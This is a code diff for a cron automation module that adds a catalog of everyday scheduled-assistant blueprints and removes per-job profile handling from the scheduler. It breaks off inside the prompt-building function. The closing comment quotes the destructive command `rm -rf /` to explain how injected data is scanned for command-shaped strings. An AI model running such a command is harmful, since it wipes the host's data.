+++ b/cron/blueprint_catalog.py
@@ -0,0 +1,713 @@
+"""Automation Blueprints — parameterized automation blueprints with typed slots.
+
+A *blueprint* is a one-place definition of an automation that every surface
+renders natively:
+
+ * Dashboard / GUI app -> a form (one field per slot)
+ * CLI / TUI / messenger -> a pre-filled ``/blueprint`` slash command
+ * Agent -> a seed prompt; it asks for any blank/ambiguous slot
+ * Docs catalog -> a copy-paste command + a ``hermes://`` deep-link
+
+The single source of truth is the slot schema below. ``blueprint_form_schema``
+emits what a form renderer needs; ``blueprint_slash_command`` emits the flattened
+one-line command; ``fill_blueprint`` validates user-supplied values and turns a
+blueprint into a ``cron.jobs.create_job`` kwargs dict (so there is no second job
+engine). The form-where-there's-a-screen / agent-fills-where-there's-a-chat
+split both consume this same module.
+
+Design choice: users never type raw cron. A blueprint carries a fixed recurrence
+in ``schedule_template`` and parameterizes only the human-friendly parts
+(time-of-day, weekday set). Blueprints needing full flexibility expose a ``text``
+slot named ``schedule`` that passes through verbatim.
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import dataclass, field
+from typing import Any, Dict, List, Optional
+
+__all__ = [
+ "BlueprintSlot",
+ "AutomationBlueprint",
+ "CATALOG",
+ "get_blueprint",
+ "blueprint_form_schema",
+ "blueprint_slash_command",
+ "blueprint_deeplink",
+ "blueprint_catalog_entry",
+ "fill_blueprint",
+ "BlueprintFillError",
+ "WEEKDAY_PRESETS",
+]
+
+
+class BlueprintFillError(ValueError):
+ """Raised when supplied slot values fail validation."""
+
+
+# Slot types the renderers understand.
+_SLOT_TYPES = frozenset({"time", "enum", "text", "weekdays"})
+
+# Named weekday recurrences -> cron day-of-week field.
+WEEKDAY_PRESETS: Dict[str, str] = {
+ "everyday": "*",
+ "weekdays": "1-5",
+ "weekends": "0,6",
+}
+
+
+@dataclass(frozen=True)
+class BlueprintSlot:
+ """A single fillable field on a blueprint."""
+
+ name: str
+ type: str
+ label: str
+ default: Any = None
+ options: tuple = () # for type="enum": allowed values
+ optional: bool = False
+ help: str = ""
+ # When False, ``options`` are suggestions rather than a closed set —
+ # any value is accepted (e.g. the deliver slot, where the real set of
+ # valid platforms depends on the user's configured gateways and is
+ # validated downstream by the cron scheduler).
+ strict: bool = True
+
+ def __post_init__(self) -> None:
+ if self.type not in _SLOT_TYPES:
+ raise ValueError(f"unknown slot type {self.type!r} (slot {self.name})")
+
+
+@dataclass(frozen=True)
+class AutomationBlueprint:
+ """A parameterized automation blueprint."""
+
+ key: str
+ title: str
+ description: str
+ category: str
+ # Cron expression with ``{slot}`` placeholders, e.g. "{minute} {hour} * * {dow}".
+ # Placeholders are filled from resolved slot values (time -> minute/hour,
+ # weekdays -> dow). A literal cron string with no placeholders = fixed schedule.
+ schedule_template: str
+ # Seed instruction for the agent / the cron job prompt; may contain {slot}s.
+ prompt_template: str
+ slots: List[BlueprintSlot] = field(default_factory=list)
+ deliver_default: str = "origin"
+ skills: tuple = () # skills the job loads before running
+ tags: tuple = ()
+
+
+# ---------------------------------------------------------------------------
+# Curated in-repo catalog
+# ---------------------------------------------------------------------------
+
+_TIME = lambda default="08:00": BlueprintSlot( # noqa: E731 - concise factory
+ name="time", type="time", label="What time?", default=default,
+ help="24h local time, e.g. 08:00",
+)
+_DELIVER = BlueprintSlot(
+ name="deliver", type="enum", label="Where to deliver?",
+ default="origin", options=("origin", "local", "telegram", "discord", "email"),
+ optional=False, strict=False,
+ help="origin = the chat you set this up from (or your configured home "
+ "channel when created from the dashboard); local = save only, no message; "
+ "or any connected platform name",
+)
+
+
+CATALOG: List[AutomationBlueprint] = [
+ AutomationBlueprint(
+ key="morning-brief",
+ title="Morning briefing",
+ description="A short daily briefing: today's calendar, weather, and "
+ "anything urgent waiting on you.",
+ category="daily",
+ schedule_template="{minute} {hour} * * *",
+ prompt_template=(
+ "Produce a concise morning briefing for the user: today's calendar "
+ "events, the local weather, and any urgent items. Keep it short and "
+ "scannable. If no data sources are connected, give a brief "
+ "good-morning with the date and offer to connect calendar/email."
+ ),
+ slots=[_TIME("08:00"), _DELIVER],
+ tags=("daily", "briefing"),
+ ),
+ AutomationBlueprint(
+ key="important-mail",
+ title="Important-mail monitor",
+ description="Check your inbox periodically and ping you ONLY about mail "
+ "that actually needs attention.",
+ category="email",
+ schedule_template="*/{interval_min} * * * *",
+ prompt_template=(
+ "Check the user's inbox for new messages since the last run. Surface "
+ "ONLY mail matching: {criteria}. Score candidates with the urgency "
+ "classifier and deliver only what clears the bar; if nothing does, "
+ "respond with [SILENT]. Requires a connected mail source; if none is "
+ "configured, explain how to connect one and stop."
+ ),
+ slots=[
+ BlueprintSlot(
+ name="interval_min", type="enum", label="How often?",
+ default="30", options=("15", "30", "60"),
+ help="minutes between checks",
+ ),
+ BlueprintSlot(
+ name="criteria", type="text",
+ label="Only notify me if the mail…",
+ default="needs a reply today, is from my manager or family, "
+ "or mentions a deadline",
+ ),
+ _DELIVER,
+ ],
+ tags=("email", "monitor"),
+ ),
+ AutomationBlueprint(
+ key="weekly-review",
+ title="Weekly review",
+ description="A weekly recap: what got done, what's still open, and "
+ "what's coming up.",
+ category="weekly",
+ schedule_template="{minute} {hour} * * {dow}",
+ prompt_template=(
+ "Produce a weekly review for the user: what was accomplished this "
+ "week, still-open items, and next week's calendar. Pull from "
+ "connected sources. Keep it tight."
+ ),
+ slots=[
+ _TIME("18:00"),
+ BlueprintSlot(
+ name="day", type="enum", label="Which day?",
+ default="sunday",
+ options=("sunday", "monday", "friday", "saturday"),
+ ),
+ _DELIVER,
+ ],
+ tags=("weekly", "review"),
+ ),
+ AutomationBlueprint(
+ key="workday-start",
+ title="Workday start reminder",
+ description="A weekday nudge with your agenda and top priorities.",
+ category="daily",
+ schedule_template="{minute} {hour} * * 1-5",
+ prompt_template=(
+ "Give the user a brief weekday start-of-day nudge: today's calendar "
+ "and the 1-3 highest-priority things to focus on, inferred from "
+ "recent context and any task tools. Encouraging, short, one message."
+ ),
+ slots=[_TIME("09:00"), _DELIVER],
+ tags=("daily", "focus"),
+ ),
+ AutomationBlueprint(
+ key="custom-reminder",
+ title="Custom reminder",
+ description="A recurring reminder in your own words, on your schedule.",
+ category="general",
+ schedule_template="{minute} {hour} * * {dow}",
+ prompt_template="Remind the user: {what}",
+ slots=[
+ BlueprintSlot(name="what", type="text", label="Remind me to…",
+ default="take a break and stretch"),
+ _TIME("14:00"),
+ BlueprintSlot(
+ name="recurrence", type="weekdays", label="Repeat on",
+ default="everyday",
+ options=tuple(WEEKDAY_PRESETS.keys()),
+ ),
+ _DELIVER,
+ ],
+ tags=("reminder",),
+ ),
+ AutomationBlueprint(
+ key="evening-winddown",
+ title="Evening wind-down",
+ description="An end-of-day check-in: tomorrow's calendar at a glance "
+ "and anything you should prep tonight.",
+ category="daily",
+ schedule_template="{minute} {hour} * * *",
+ prompt_template=(
+ "Give the user a short evening wind-down: tomorrow's calendar, any "
+ "early commitments to prep for, and one gentle nudge to wrap up "
+ "loose ends from today. Keep it calm and brief — one message. If no "
+ "calendar is connected, just offer a friendly sign-off and the "
+ "weather for tomorrow."
+ ),
+ slots=[_TIME("21:00"), _DELIVER],
+ tags=("daily", "evening"),
+ ),
+ AutomationBlueprint(
+ key="news-digest",
+ title="Topic news digest",
+ description="A recurring digest on a topic you care about — deduped "
+ "against what was already sent, so only genuinely new items land.",
+ category="general",
+ schedule_template="{minute} {hour} * * {dow}",
+ prompt_template=(
+ "Search the web for new and noteworthy items about: {topic}. "
+ "Dedupe against what you sent in previous runs — only include "
+ "genuinely new developments. Deliver a tight digest of at most "
+ "{count} bullets, each one line with a link. If nothing new since "
+ "last run, respond with [SILENT]."
+ ),
+ slots=[
+ BlueprintSlot(
+ name="topic", type="text", label="What topic?",
+ default="AI and technology",
+ help="a subject, product, person, or search phrase",
+ ),
+ _TIME("18:00"),
+ BlueprintSlot(
+ name="recurrence", type="weekdays", label="Repeat on",
+ default="weekdays",
+ options=tuple(WEEKDAY_PRESETS.keys()),
+ ),
+ BlueprintSlot(
+ name="count", type="enum", label="How many bullets?",
+ default="5", options=("3", "5", "8"),
+ ),
+ _DELIVER,
+ ],
+ tags=("digest", "research"),
+ ),
+ AutomationBlueprint(
+ key="bill-renewal-watch",
+ title="Bills & renewals reminder",
+ description="A heads-up before a recurring payment, subscription "
+ "renewal, or due date — so nothing auto-charges by surprise.",
+ category="general",
+ schedule_template="{minute} {hour} * * {dow}",
+ prompt_template=(
+ "Remind the user about an upcoming payment or renewal: {what}. "
+ "Phrase it as an actionable heads-up (e.g. 'review or cancel before "
+ "it renews'), not just a notification. One short message."
+ ),
+ slots=[
+ BlueprintSlot(
+ name="what", type="text", label="What's due?",
+ default="my streaming subscription renews soon",
+ ),
+ _TIME("10:00"),
+ BlueprintSlot(
+ name="recurrence", type="weekdays", label="Repeat on",
+ default="everyday",
+ options=tuple(WEEKDAY_PRESETS.keys()),
+ ),
+ _DELIVER,
+ ],
+ tags=("reminder", "finance"),
+ ),
+ AutomationBlueprint(
+ key="habit-checkin",
+ title="Habit check-in",
+ description="A recurring nudge to keep a habit on track and reflect "
+ "on whether you did it.",
+ category="general",
+ schedule_template="{minute} {hour} * * {dow}",
+ prompt_template=(
+ "Nudge the user about their habit: {habit}. Ask whether they did it "
+ "today, keep it warm and non-judgmental, and offer a one-line word "
+ "of encouragement. One short message."
+ ),
+ slots=[
+ BlueprintSlot(
+ name="habit", type="text", label="Which habit?",
+ default="20 minutes of reading",
+ ),
+ _TIME("20:00"),
+ BlueprintSlot(
+ name="recurrence", type="weekdays", label="Repeat on",
+ default="everyday",
+ options=tuple(WEEKDAY_PRESETS.keys()),
+ ),
+ _DELIVER,
+ ],
+ tags=("habit", "wellbeing"),
+ ),
+ AutomationBlueprint(
+ key="hydration-move",
+ title="Hydration & movement nudge",
+ description="A periodic nudge during the day to drink water, stand up, "
+ "and stretch.",
+ category="general",
+ # NOTE: cron minute-field steps (*/90) wrap per hour — */90 and */120
+ # both degrade to hourly. Use an hour-field step instead so the chosen
+ # cadence is what actually fires.
+ schedule_template="0 {start_hour}-{end_hour}/{interval_hours} * * 1-5",
+ prompt_template=(
+ "Send the user a brief, friendly nudge to drink some water, stand "
+ "up, and stretch for a moment. Vary the wording each time so it "
+ "doesn't feel robotic. One short line."
+ ),
+ slots=[
+ BlueprintSlot(
+ name="interval_hours", type="enum", label="How often?",
+ default="1", options=("1", "2", "3"),
+ help="hours between nudges",
+ ),
+ BlueprintSlot(
+ name="start_hour", type="enum", label="Start hour",
+ default="9", options=("7", "8", "9", "10"),
+ help="first hour of the active window (24h)",
+ ),
+ BlueprintSlot(
+ name="end_hour", type="enum", label="End hour",
+ default="17", options=("16", "17", "18", "19"),
+ help="last hour of the active window (24h)",
+ ),
+ _DELIVER,
+ ],
+ tags=("wellbeing", "focus"),
+ ),
+ AutomationBlueprint(
+ key="meal-plan",
+ title="Weekly meal plan",
+ description="A weekly meal plan plus a consolidated grocery list, "
+ "tuned to your diet and how much time you have to cook.",
+ category="weekly",
+ schedule_template="{minute} {hour} * * {dow}",
+ prompt_template=(
+ "Build the user a meal plan for the coming week: {meals} per day, "
+ "suited to a {diet} diet and roughly {effort} cooking effort. "
+ "Include a consolidated grocery list grouped by aisle. Keep blueprints "
+ "simple and skimmable."
+ ),
+ slots=[
+ BlueprintSlot(
+ name="diet", type="enum", label="Diet?",
+ default="no restrictions",
+ options=("no restrictions", "vegetarian", "vegan",
+ "high-protein", "low-carb"),
+ ),
+ BlueprintSlot(
+ name="meals", type="enum", label="Meals per day?",
+ default="dinner only",
+ options=("dinner only", "lunch and dinner", "all three"),
+ ),
+ BlueprintSlot(
+ name="effort", type="enum", label="Cooking effort?",
+ default="quick", options=("quick", "medium", "ambitious"),
+ ),
+ _TIME("17:00"),
+ BlueprintSlot(
+ name="day", type="enum", label="Which day?",
+ default="sunday",
+ options=("sunday", "monday", "friday", "saturday"),
+ ),
+ _DELIVER,
+ ],
+ tags=("weekly", "food"),
+ ),
+ AutomationBlueprint(
+ key="learn-daily",
+ title="Daily learning drip",
+ description="One bite-sized lesson a day on a topic you want to learn, "
+ "building progressively over time.",
+ category="daily",
+ schedule_template="{minute} {hour} * * {dow}",
+ prompt_template=(
+ "Teach the user one bite-sized lesson about: {topic}. Build on "
+ "earlier lessons so it progresses rather than repeating. Keep it to "
+ "a couple of short paragraphs with one concrete example, and end "
+ "with a single question to check understanding."
+ ),
+ slots=[
+ BlueprintSlot(
+ name="topic", type="text", label="Learn about…",
+ default="Spanish vocabulary",
+ ),
+ _TIME("08:30"),
+ BlueprintSlot(
+ name="recurrence", type="weekdays", label="Repeat on",
+ default="weekdays",
+ options=tuple(WEEKDAY_PRESETS.keys()),
+ ),
+ _DELIVER,
+ ],
+ tags=("learning", "daily"),
+ ),
+ AutomationBlueprint(
+ key="gratitude-journal",
+ title="Gratitude & reflection prompt",
+ description="A gentle evening prompt to reflect on the day and note "
+ "what went well.",
+ category="general",
+ schedule_template="{minute} {hour} * * {dow}",
+ prompt_template=(
+ "Send the user a short, warm reflection prompt for the end of the "
+ "day — invite them to note one thing that went well, one thing they "
+ "are grateful for, and one small win. If they reply, acknowledge it "
+ "kindly. One message."
+ ),
+ slots=[
+ _TIME("21:30"),
+ BlueprintSlot(
+ name="recurrence", type="weekdays", label="Repeat on",
+ default="everyday",
+ options=tuple(WEEKDAY_PRESETS.keys()),
+ ),
+ _DELIVER,
+ ],
+ tags=("wellbeing", "reflection"),
+ ),
+ AutomationBlueprint(
+ key="on-this-day",
+ title="On-this-day discovery",
+ description="A daily dose of curiosity: a notable historical event, "
+ "fact, or word for the day.",
+ category="daily",
+ schedule_template="{minute} {hour} * * *",
+ prompt_template=(
+ "Give the user one interesting '{flavor}' item for today — keep it "
+ "short, surprising, and genuinely interesting. One or two sentences, "
+ "no filler."
+ ),
+ slots=[
+ BlueprintSlot(
+ name="flavor", type="enum", label="What kind?",
+ default="on this day in history",
+ options=("on this day in history", "word of the day",
+ "science fact", "quote of the day"),
+ ),
+ _TIME("07:30"),
+ _DELIVER,
+ ],
+ tags=("daily", "curiosity"),
+ ),
+]
+
+_CATALOG_BY_KEY = {r.key: r for r in CATALOG}
+
+
+def get_blueprint(key: str) -> Optional[AutomationBlueprint]:
+ return _CATALOG_BY_KEY.get(key)
+
+
+# ---------------------------------------------------------------------------
+# Renderers
+# ---------------------------------------------------------------------------
+
+def blueprint_form_schema(blueprint: AutomationBlueprint) -> Dict[str, Any]:
+ """Emit the JSON a form renderer (dashboard / GUI) needs for this blueprint."""
+ return {
+ "key": blueprint.key,
+ "title": blueprint.title,
+ "description": blueprint.description,
+ "category": blueprint.category,
+ "tags": list(blueprint.tags),
+ "fields": [
+ {
+ "name": s.name,
+ "type": s.type,
+ "label": s.label,
+ "default": s.default,
+ "options": list(s.options),
+ "optional": s.optional,
+ "strict": s.strict,
+ "help": s.help,
+ }
+ for s in blueprint.slots
+ ],
+ }
+
+
+def blueprint_slash_command(blueprint: AutomationBlueprint, values: Optional[Dict[str, Any]] = None) -> str:
+ """Build the flattened ``/blueprint slot=val …`` command string.
+
+ Uses each slot's default when ``values`` is omitted, so the docs/dashboard
+ can show a ready-to-paste command. Free-text slots are quoted.
+ """
+ values = values or {}
+ parts = [f"/blueprint {blueprint.key}"]
+ for s in blueprint.slots:
+ val = values.get(s.name, s.default)
+ if val is None or val == "":
+ if s.optional:
+ continue
+ val = ""
+ sval = str(val)
+ if s.type == "text" or " " in sval:
+ sval = '"' + sval.replace('"', '\\"') + '"'
+ parts.append(f"{s.name}={sval}")
+ return " ".join(parts)
+
+
+def blueprint_deeplink(blueprint: AutomationBlueprint, values: Optional[Dict[str, Any]] = None) -> str:
+ """Build the ``hermes://blueprint/?slot=val`` deep-link URL."""
+ from urllib.parse import quote, urlencode
+
+ values = values or {}
+ query = {}
+ for s in blueprint.slots:
+ val = values.get(s.name, s.default)
+ if val not in (None, ""):
+ query[s.name] = str(val)
+ qs = ("?" + urlencode(query)) if query else ""
+ return f"hermes://blueprint/{quote(blueprint.key)}{qs}"
+
+
+def _humanize_schedule(blueprint: AutomationBlueprint) -> str:
+ """A short human-readable description of when a blueprint runs (defaults)."""
+ sched = blueprint.schedule_template
+ if sched.startswith("*/"):
+ iv = next((s for s in blueprint.slots if s.name == "interval_min"), None)
+ every = (iv.default if iv else None) or sched.split("/")[1].split()[0]
+ return f"every {every} minutes"
+ if "{interval_hours}" in sched:
+ iv = next((s for s in blueprint.slots if s.name == "interval_hours"), None)
+ every = str((iv.default if iv else None) or "1")
+ scope = "weekdays, " if "* * 1-5" in sched else ""
+ return f"{scope}every hour" if every == "1" else f"{scope}every {every} hours"
+ time_slot = next((s for s in blueprint.slots if s.type == "time"), None)
+ when = time_slot.default if time_slot else None
+ if "* * 1-5" in sched:
+ return f"weekdays at {when}" if when else "every weekday"
+ if "{dow}" in sched:
+ day_slot = next((s for s in blueprint.slots if s.name in ("day", "recurrence")), None)
+ scope = (day_slot.default if day_slot else "") or ""
+ if scope and when:
+ return f"{scope} at {when}"
+ return f"at {when}" if when else "on a schedule"
+ if when:
+ return f"daily at {when}"
+ return "on a schedule"
+
+
+def blueprint_catalog_entry(blueprint: AutomationBlueprint) -> Dict[str, Any]:
+ """Unified serializable shape for a blueprint — used by the docs generator
+ and the dashboard API. Combines the form schema, the ready-to-paste slash
+ command, the deep-link URL, and a human-readable schedule.
+ """
+ return {
+ **blueprint_form_schema(blueprint),
+ "schedule": blueprint.schedule_template,
+ "scheduleHuman": _humanize_schedule(blueprint),
+ "command": blueprint_slash_command(blueprint),
+ "appUrl": blueprint_deeplink(blueprint),
+ }
+
+
+# ---------------------------------------------------------------------------
+# Fill + validate + translate to a create_job spec
+# ---------------------------------------------------------------------------
+
+_TIME_RE = re.compile(r"^([01]?\d|2[0-3]):([0-5]\d)$")
+_DAY_TO_DOW = {
+ "sunday": "0", "monday": "1", "tuesday": "2", "wednesday": "3",
+ "thursday": "4", "friday": "5", "saturday": "6",
+}
+
+
+def _resolve_schedule(blueprint: AutomationBlueprint, values: Dict[str, Any]) -> str:
+ """Fill the schedule_template placeholders from resolved slot values."""
+ sched = blueprint.schedule_template
+
+ # A free-text `schedule` slot passes through verbatim (full flexibility).
+ if "schedule" in values and values["schedule"]:
+ return str(values["schedule"])
+
+ repl: Dict[str, str] = {}
+
+ # time -> minute/hour
+ time_val = values.get("time")
+ if "{minute}" in sched or "{hour}" in sched:
+ if not time_val:
+ raise BlueprintFillError("a time is required")
+ m = _TIME_RE.match(str(time_val).strip())
+ if not m:
+ raise BlueprintFillError(f"invalid time {time_val!r} — use HH:MM (24h)")
+ repl["hour"] = str(int(m.group(1)))
+ repl["minute"] = str(int(m.group(2)))
+
+ # weekday set -> dow
+ if "{dow}" in sched:
+ if "recurrence" in values:
+ preset = str(values.get("recurrence", "everyday")).lower()
+ if preset not in WEEKDAY_PRESETS:
+ raise BlueprintFillError(
+ f"unknown recurrence {preset!r} — one of {', '.join(WEEKDAY_PRESETS)}"
+ )
+ repl["dow"] = WEEKDAY_PRESETS[preset]
+ elif "day" in values:
+ day = str(values.get("day", "")).lower()
+ if day not in _DAY_TO_DOW:
+ raise BlueprintFillError(f"unknown day {day!r}")
+ repl["dow"] = _DAY_TO_DOW[day]
+ else:
+ repl["dow"] = "*"
+
+ # interval (minutes) for */N schedules
+ if "{interval_min}" in sched:
+ iv = str(values.get("interval_min", "")).strip()
+ if not iv.isdigit() or int(iv) <= 0:
+ raise BlueprintFillError(f"invalid interval {iv!r} — minutes as a positive integer")
+ repl["interval_min"] = iv
+
+ # Any remaining {slot} placeholders are filled verbatim from validated
+ # enum/text slot values (e.g. an hour-range window). Enum options have
+ # already been checked in fill_blueprint, so these are safe to interpolate.
+ for name in re.findall(r"\{(\w+)\}", sched):
+ if name not in repl and name in values:
+ repl[name] = str(values[name])
+
+ try:
+ return sched.format(**repl)
+ except KeyError as e: # pragma: no cover - template/slot mismatch is a dev error
+ raise BlueprintFillError(f"schedule template missing value for {e}") from e
+
+
+def fill_blueprint(
+ blueprint: AutomationBlueprint,
+ values: Dict[str, Any],
+ *,
+ origin: Optional[Dict[str, Any]] = None,
+) -> Dict[str, Any]:
+ """Validate ``values`` and return ``cron.jobs.create_job`` kwargs.
+
+ Missing required (non-optional) slots raise BlueprintFillError naming the
+ slot, so a form can show field errors and the agent knows what to ask.
+ Unknown slot names are rejected (a typo'd ``tiem=07:15`` must not silently
+ create a job with the default time). Enum values are checked against their
+ options. The result is passed straight to ``create_job`` — no second schema.
+ """
+ known = {s.name for s in blueprint.slots}
+ unknown = sorted(set(values) - known)
+ if unknown:
+ raise BlueprintFillError(
+ f"unknown slot{'s' if len(unknown) > 1 else ''}: "
+ f"{', '.join(unknown)} — valid: {', '.join(s.name for s in blueprint.slots)}"
+ )
+ resolved: Dict[str, Any] = {}
+ for s in blueprint.slots:
+ raw = values.get(s.name, s.default)
+ if raw in (None, ""):
+ if s.optional:
+ continue
+ raise BlueprintFillError(f"missing required value: {s.name} ({s.label})")
+ if s.type == "enum" and s.strict and s.options and str(raw) not in {str(o) for o in s.options}:
+ raise BlueprintFillError(
+ f"{s.name}={raw!r} not allowed — one of {', '.join(map(str, s.options))}"
+ )
+ resolved[s.name] = raw
+
+ schedule = _resolve_schedule(blueprint, resolved)
+
+ # Render the prompt with whatever slots it references.
+ try:
+ prompt = blueprint.prompt_template.format(**resolved)
+ except KeyError as e:
+ raise BlueprintFillError(f"blueprint prompt missing value for {e}") from e
+
+ spec: Dict[str, Any] = {
+ "prompt": prompt,
+ "schedule": schedule,
+ "name": blueprint.title,
+ "deliver": resolved.get("deliver", blueprint.deliver_default),
+ }
+ if blueprint.skills:
+ spec["skills"] = list(blueprint.skills)
+ if origin is not None:
+ spec["origin"] = origin
+ return spec
diff --git a/cron/jobs.py b/cron/jobs.py
index 866dacc41dfc..52d9367ff84e 100644
--- a/cron/jobs.py
+++ b/cron/jobs.py
@@ -150,9 +150,6 @@ def _normalize_job_record(job: Dict[str, Any]) -> Dict[str, Any]:
state = "scheduled" if normalized.get("enabled", True) else "paused"
normalized["state"] = state
- profile = _coerce_job_text(normalized.get("profile")).strip()
- normalized["profile"] = profile or None
-
return normalized
@@ -523,30 +520,6 @@ def _normalize_workdir(workdir: Optional[str]) -> Optional[str]:
return str(resolved)
-def _normalize_profile(profile: Optional[str]) -> Optional[str]:
- """Normalize and validate an optional cron job profile name.
-
- Empty / None disables per-job profile selection. Otherwise the profile name
- is canonicalized with the same rules as ``hermes -p`` and must refer to an
- existing profile at create/update time. ``default`` is the built-in root
- profile and is always valid.
- """
- if profile is None:
- return None
- raw = str(profile).strip()
- if not raw:
- return None
-
- from hermes_cli.profiles import normalize_profile_name, resolve_profile_env
-
- normalized = normalize_profile_name(raw)
- # resolve_profile_env validates the canonical name and checks that named
- # profiles exist. Store only the stable profile id, not the filesystem path,
- # so profile directories can move with the Hermes root.
- resolve_profile_env(normalized)
- return normalized
-
-
def create_job(
prompt: Optional[str],
schedule: str,
@@ -563,7 +536,6 @@ def create_job(
context_from: Optional[Union[str, List[str]]] = None,
enabled_toolsets: Optional[List[str]] = None,
workdir: Optional[str] = None,
- profile: Optional[str] = None,
no_agent: bool = False,
) -> Dict[str, Any]:
"""
@@ -605,11 +577,6 @@ def create_job(
With ``no_agent=True``, ``workdir`` is still applied as the
script's cwd so relative paths inside the script behave
predictably.
- profile: Optional Hermes profile name. When set, the job runs with
- that profile's HERMES_HOME so profile-specific config,
- credentials, scripts, skills, and memory paths resolve
- consistently. ``default`` selects the root profile; empty /
- None preserves the scheduler's existing behaviour.
no_agent: When True, skip the agent entirely — run ``script`` on schedule
and deliver its stdout directly. Empty stdout = silent (no
delivery). Requires ``script`` to be set. Ideal for classic
@@ -647,7 +614,6 @@ def create_job(
normalized_toolsets = [str(t).strip() for t in enabled_toolsets if str(t).strip()] if enabled_toolsets else None
normalized_toolsets = normalized_toolsets or None
normalized_workdir = _normalize_workdir(workdir)
- normalized_profile = _normalize_profile(profile)
normalized_no_agent = bool(no_agent)
# no_agent jobs are meaningless without a script — the script IS the job.
@@ -702,7 +668,6 @@ def create_job(
"origin": origin, # Tracks where job was created for "origin" delivery
"enabled_toolsets": normalized_toolsets,
"workdir": normalized_workdir,
- "profile": normalized_profile,
}
jobs = load_jobs()
@@ -792,15 +757,6 @@ def update_job(job_id: str, updates: Dict[str, Any]) -> Optional[Dict[str, Any]]
else:
updates["workdir"] = _normalize_workdir(_wd)
- # Validate / normalize profile if present in updates. Empty string or
- # None both mean "clear the field" (restore old behaviour).
- if "profile" in updates:
- _profile = updates["profile"]
- if _profile is None or _profile == "" or _profile is False:
- updates["profile"] = None
- else:
- updates["profile"] = _normalize_profile(_profile)
-
updated = _apply_skill_fields({**job, **updates})
schedule_changed = "schedule" in updates
diff --git a/cron/scheduler.py b/cron/scheduler.py
index f5c71ceed4f0..359069966195 100644
--- a/cron/scheduler.py
+++ b/cron/scheduler.py
@@ -19,7 +19,6 @@
import subprocess
import sys
import threading
-from contextlib import contextmanager
# fcntl is Unix-only; on Windows use msvcrt for file locking
try:
@@ -139,6 +138,7 @@ def _resolve_cron_enabled_toolsets(job: dict, cfg: dict) -> list[str] | None:
"bluebubbles": "BLUEBUBBLES_HOME_CHANNEL",
"qqbot": "QQBOT_HOME_CHANNEL",
"whatsapp": "WHATSAPP_HOME_CHANNEL",
+ "whatsapp_cloud": "WHATSAPP_CLOUD_HOME_CHANNEL",
}
# Legacy env var names kept for back-compat. Each entry is the current
@@ -166,7 +166,7 @@ def _resolve_cron_enabled_toolsets(job: dict, cfg: dict) -> list[str] | None:
_running_job_ids: set = set()
_running_lock = threading.Lock()
-# Sequential (env/context-mutating) cron jobs — workdir/profile jobs that touch
+# Sequential (env-mutating) cron jobs — workdir jobs that touch
# process-global runtime state — must run one at a time, but must NOT block the
# ticker thread. A persistent single-thread executor preserves ordering across
# ticks while keeping dispatch fire-and-forget, the same as the parallel pool.
@@ -190,10 +190,10 @@ def _get_parallel_pool(max_workers: Optional[int]) -> concurrent.futures.ThreadP
def _get_sequential_pool() -> concurrent.futures.ThreadPoolExecutor:
"""Return (or create) the persistent single-thread sequential pool.
- A single worker guarantees env/context-mutating jobs never overlap, even
+ A single worker guarantees env-mutating jobs never overlap, even
across ticks: a job queued by a newer tick waits for the previous tick's
- sequential jobs to finish rather than corrupting their os.environ /
- profile state.
+ sequential jobs to finish rather than corrupting their os.environ
+ state.
"""
global _sequential_pool
if _sequential_pool is None:
@@ -235,71 +235,6 @@ def _get_lock_paths() -> tuple[Path, Path]:
return lock_dir, lock_dir / ".tick.lock"
-@contextmanager
-def _job_profile_context(job_id: str, profile: Optional[str]):
- """Temporarily run a job under a specific Hermes profile.
-
- Cron jobs are stored and scheduled by the profile running the scheduler, but
- an individual job can opt into a different runtime profile. While active,
- the scheduler's test/override hook and a context-local Hermes home override
- both point at the resolved profile directory so _get_hermes_home(),
- .env/config loading, script resolution, AIAgent construction, and downstream
- get_hermes_home() callers agree on the same home.
-
- Some existing provider/config paths still load profile .env values through
- os.environ, so profile jobs also snapshot and restore the process
- environment on exit. tick() runs profile jobs sequentially to keep that
- temporary mutation isolated from other scheduled jobs.
- """
- raw_profile = str(profile or "").strip()
- if not raw_profile:
- yield None
- return
-
- global _hermes_home
- prior_override = _hermes_home
- env_snapshot = os.environ.copy()
-
- from hermes_cli.profiles import normalize_profile_name, resolve_profile_env
- from hermes_constants import reset_hermes_home_override, set_hermes_home_override
-
- normalized_profile = normalize_profile_name(raw_profile)
- try:
- profile_home = Path(resolve_profile_env(normalized_profile)).resolve()
- except (FileNotFoundError, ValueError) as exc:
- logger.warning(
- "Job '%s': configured profile %r no longer valid (%s) — "
- "falling back to scheduler default",
- job_id, raw_profile, exc,
- )
- yield None
- return
-
- override_token = None
- try:
- override_token = set_hermes_home_override(profile_home)
- _hermes_home = profile_home
- logger.info(
- "Job '%s': using Hermes profile '%s' (%s)",
- job_id,
- normalized_profile,
- profile_home,
- )
- yield normalized_profile
- finally:
- _hermes_home = prior_override
- if override_token is not None:
- reset_hermes_home_override(override_token)
- # Delta-based restore: remove added keys, restore changed keys.
- # Avoids a brief window where other threads see an empty env.
- added = set(os.environ.keys()) - set(env_snapshot.keys())
- for k in added:
- os.environ.pop(k, None)
- for k, v in env_snapshot.items():
- if os.environ.get(k) != v:
- os.environ[k] = v
-
-
def _resolve_origin(job: dict) -> Optional[dict]:
"""Extract origin info from a job, preserving any extra routing metadata.
@@ -1032,17 +967,6 @@ def _run_job_script(script_path: str) -> tuple[bool, str]:
else:
argv = [sys.executable, str(path)]
- run_env = os.environ.copy()
- run_env["HERMES_HOME"] = str(_get_hermes_home())
- try:
- from hermes_constants import get_subprocess_home
-
- profile_home = get_subprocess_home()
- if profile_home:
- run_env["HOME"] = profile_home
- except Exception:
- pass
-
try:
popen_kwargs = {"creationflags": windows_hide_flags()} if sys.platform == "win32" else {}
result = subprocess.run(
@@ -1051,7 +975,6 @@ def _run_job_script(script_path: str) -> tuple[bool, str]:
text=True,
timeout=script_timeout,
cwd=str(path.parent),
- env=run_env,
**popen_kwargs,
)
stdout = (result.stdout or "").strip()
@@ -1118,8 +1041,15 @@ def _build_job_prompt(job: dict, prerun_script: Optional[tuple] = None) -> str:
result is used for prompt injection. When omitted, the script
(if any) runs inline as before.
"""
- prompt = str(job.get("prompt") or "")
+ user_prompt = str(job.get("prompt") or "")
+ prompt = user_prompt
skills = job.get("skills")
+ # True when runtime-collected DATA (script stdout, upstream-job output)
+ # has been injected into the prompt. Data content legitimately quotes
+ # command-shape strings (a triage feed ingesting a bug report that
+ # pastes `rm -rf /`), so it must not be scanned with the strict
+ # user-prompt pattern set — see _scan_assembled_cron_prompt.
